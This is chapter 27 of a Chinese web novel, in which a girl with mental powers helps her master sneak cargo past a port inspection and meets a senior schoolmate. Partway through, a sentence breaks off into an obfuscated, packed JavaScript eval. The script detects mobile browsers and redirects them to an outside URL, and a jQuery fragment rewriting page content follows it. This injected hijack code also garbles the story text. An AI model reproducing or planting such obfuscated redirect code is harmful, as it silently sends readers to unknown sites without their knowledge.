27. 第 27 章
作品:《醒醒,该整活了》 “啊——!”星澜捂住被拍了一巴掌的后脑勺。
“你个小屁孩讲话这么粗鲁。”
邬乏归掐了烟,若无其事地收回手。
“你个死老头!信不信我现在就走!”星澜炸毛。
“呵,我不信。”邬乏归倚在栏杆上,好整以暇地看着星澜,“你自己的规矩,言出必行,答应了我的,不会反悔。还有,我可不老。”
星澜没好气地翻了个白眼,有揉了揉脑袋:“说吧,要我干什么。”
“很简单,快到北港的时候,用你的精神力掩盖一下……痕迹就好”
邬乏归晦涩的目光望向船舱。
“可以。”星澜一口应下,“但是,你得告诉我,那些东西从哪来,又要运到哪里去。”
野马星沉寂百年,若是复起……不,只要联邦政权还在,野马星就不可能复起。
难道……
星澜神色一凛,望向邬乏归的目光透出几分窥探:“师傅,你别告诉我……”
“你太看得起我了。”邬乏归打断星澜,“脑袋瓜一天天不知道在想什么。别人的货,一开始觉得在野马星这种鸟不拉屎的地儿方便中转,没想到联邦整这出,差点砸手里。”
星澜眨眨眼,反手掏出一支葡萄味的营养液开始嘬:“哦~朋友啊~好吧~~我还以为要跟着你干票大的呢~真可惜诶~、啊——!”
“死小孩,讲话别那么欠揍。”邬乏归再一次收回手。
“死老头!很痛你知不知道!!!”星澜捂住又遭到重击的后脑勺控诉。
“我知道啊。”邬乏归摆摆手。
“知道你还打那么大力!”
“不大力一点你的脑浆摇不匀。”
“你等着!我一定要和师娘告状!”星澜咬牙切齿。
“你师娘现在可抽不出空来打我。”
提起妻子,邬乏归脸上总算露出一丝眷恋的笑意。
“师娘怎么了?”星澜下意识询问。
算算时间,从她上上上次出门、到被叫去荒野星砍星兽、再到去元都,也有好几个月了。
“一看你就没去翻消息列表。”邬乏归目光落到黑沉沉的海面上,“你的死毛病,忙起来就什么都不顾,消息也不回。”
星澜摸了摸不存在的良心,竟然有些心虚,当下打开光脑就要往下翻——
“不用翻了,你师娘怀孕了。”
“嗷?”
星澜大吃一惊!脖子都抻出二里地了。
“再过两个月,我的孩子、你的侄儿就会在这片土地上出生。”
出生在…这片土地上……吗?
“师傅……”
星澜想说些什么,但又不知道怎么开口。
她该怎么说?又能怎么说?
劝邬乏归带着妻儿离开这片注定没有希望的土地吗?
这是不可能的,不说邬乏归,师娘也不愿意。
星澜一直都知道,野马星人对故土的执念,远比其他星球来得深刻。
“去休息会儿吧,离靠岸还有一段。”邬乏归打断星澜,自顾自转身离开。
漆黑的夜里,剩下星澜一个人站在原地。
她望着蛰伏的海面,半晌,蓦地转身,视线落在甲板上的某一处,双眼微眯。
不一会儿,星澜错开目光,凭空掏出来一只月亮椅。将其打开固定好后,又掏出来一条毯子,接着是靠枕、眼罩耳塞和小夜灯……
一切准备就绪,星澜脱了鞋盖着毯子窝在月亮椅上。又好像想到什么,反手打出一个隔绝气味的实体化屏障,这才安稳地进入梦乡。
奔波了两天,星澜这一觉睡得很沉,一直到屏障外传来第三阵规律的敲击声,才勉强睁开双眼。
摘下眼罩,星澜半捂着眼睛,适应光线。
今日的天空,是暗黄色。
“师傅,要到了?”星澜揉着眼睛站起来。
要收起屏障的时候,邬乏归伸手拦了一下,手指在他左侧脖颈处的呼吸过滤器敲了敲。
星澜了然,掏出一个安装了小型过滤器的口罩带上。
野马星失去干净的空气,已经很久了。
每当酸雨落下,任何在地面的生物都会被灼伤。他们的皮肤会红肿、溃烂、腐化……没有能喝的水,没有能用的药,甚至连动物最基本的呼吸都成了奢望。
星澜无从得知百年前的大战到底多么惨烈,但从百年后的今天、野马星的现状来看,必定是疮痍遍地、殊死搏斗。
“差不多了。”远远望见港口的影子,邬乏归揉了揉星澜的脑袋,“好了,清醒点小屁孩,该你干活了。”
“啪——!”
星澜一把拍开邬乏归的手:“不许揉我头发!”
发型都给他搞乱了!
“嘿你个——”
“阿归,你就别再欺负我们星星了。”
驾驶室里传来一声吆喝,星澜抬眼望去——
“梁叔?”星澜唤道。
“唉!星澜,好久不见啊!”梁怀远朝星澜招招手。
“难怪这死老头不让我开船,原来是把咱祖师爷请出山了。”
“哈哈哈哈哈我就喜欢你这性子!”梁怀远爽朗一笑,“你啊,赶紧干活了。”
“知道啦知道啦。”
话音刚落,星澜闭上眼,一圈淡蓝色的光晕像是有生命般顺着地面蔓延开去——
半空中缓缓流动的酸雾、海面下暗涌的生物、船内船员的举动、微微震颤的船身……
星澜的精神力,无声地覆盖整条船。
领域展开。
再次睁开眼,邬乏归恍惚间好像看见星澜眼底一闪而过的蓝光,等他反应过来再想细看,却已经消失不见。
应该是错觉。邬乏归心想。
“……好了。”
星澜缓缓睁开眼,她的脑袋有些眩晕。
虽然说她的蚀能等级很低,日常不需要耗费太多精力平衡。但领域展开极其考验当事人对精神力的控制……
星澜再一次窝进月亮椅里。
船只渐渐驶进港口——
“停船检查!”
两架军用小型飞行器悬在前方,这艘散货船设备太老旧,他们无法通过频道呼叫驾驶员,只能隔空用扬声器喊话。
星澜闭着眼,感觉船身轻轻一震,紧接着一连串的脚步声。
“那边那个,起来。”
一只手敲了敲她的椅背,星澜慢吞吞站起身,抬头,撞进一双熟悉的眼睛里——
“准师妹?”卡戎有些怔愣。
“卡戎师兄。”
星澜站起身问好。
卡戎的视线在星澜的口罩上顿了半秒,恢复公事公办的语气。
“证件。”
星澜顺从地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215103|194469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掏出证件递过去。
卡戎伸手接过,放上扫描仪——
“滴——公民证。”
他没再多问,只是将证件递回给星澜,声音压得极低:“站好,别乱动。”
说完,卡戎便收回目光,转身朝另一个方向走去。
星澜指尖摩挲,往后走了几步靠在栏杆上。
检查队伍很快在船舱里转了一圈,货物、行李、人员一一核对。
一个副官打扮的人靠近卡戎,低声耳语了两句。
卡戎低声交代了什么,副官点头离开后,他的目光越过人群,落回星澜身上。
没过多犹豫,卡戎迈步朝星澜走来,作战靴在甲板发出沉稳的敲击声——
哒、哒、哒。
星澜半垂的眉眼扫过角落。
“欻——咿!”
一声鸣叫打破寂静。
半空中,一只通体雪白的鸟振翅而来,带动微弱的气流划破聚集的阴霾。
“呱!”
那只鸟盘旋一圈,忽然压低身形,径直飞向星澜!
下一瞬,白鸟稳稳停在星澜的肩头。它的羽毛带着几缕凉意蹭过星澜的脸,星澜抬手摸了摸:
“小黑乖。”
“呱!”
“准师妹、不,现在应该叫师妹了。”
就这个空档,卡戎已经走到跟前,他的视线落到小黑身上,带着几分探究,“唔…这是你的……星宠吗?”
星澜点点头:“师兄叫我星澜就好,它叫小黑。”
卡戎挑眉:“小黑?真有意思,明明是只白色的乌鸦。”
星澜笑了笑,没解释。
小黑贴着星澜的脸撒娇,星澜被蹭得有些痒,躲了两下。
“好了好了~乖,下了船给你找吃的。”
“呱!”小黑应道。
“这几年星宠少见,但…你要是带着乌鸦去学校的话……”卡戎俊朗的脸上多了几分欲言又止。
“师兄好眼力,一眼就认出小黑是乌鸦,我是养了好久才发现的。”
卡戎愣了一下,随即错开目光。
星澜见状,又有些请教似地问道:“师兄,学校应该没有禁止携带星宠吧?我一直生活在野马星,都不太清楚,校规里面也没写。”
“没有禁止。”卡戎摇摇头,“话说,你怎么会在船上。”
星澜面不改色地眨眨眼:“兼职呀。”
她接得坦荡,倒显得卡戎有些局促,“兼职?”
“对啊,我是孤儿,好不容易通过试炼,虽然特优生免学费,但我还是要赚点生活费的。”
“你…是孤儿?”卡戎的声音变得有些低,带了几分不明的涩意。
星澜点头:“对,这趟船跑下来,我能挣两百。”
卡戎沉默了。
一直到那个副官回到他身侧拍拍他的肩膀,卡戎才回过神。
他的目光停留在星澜脸上。
星澜把小黑薅下来抱在怀里,低着头,有一搭没一搭地rua着,没去看卡戎。
怜悯,同情……或者是轻蔑。
这些都不重要。
人无法选择自己的出生,但可以选择怎么活、为什么而活。
星澜早就习惯了那些或可怜、或鄙视的眼。
不重要。
都不重要。
她告诉自己,那些,都不重要。

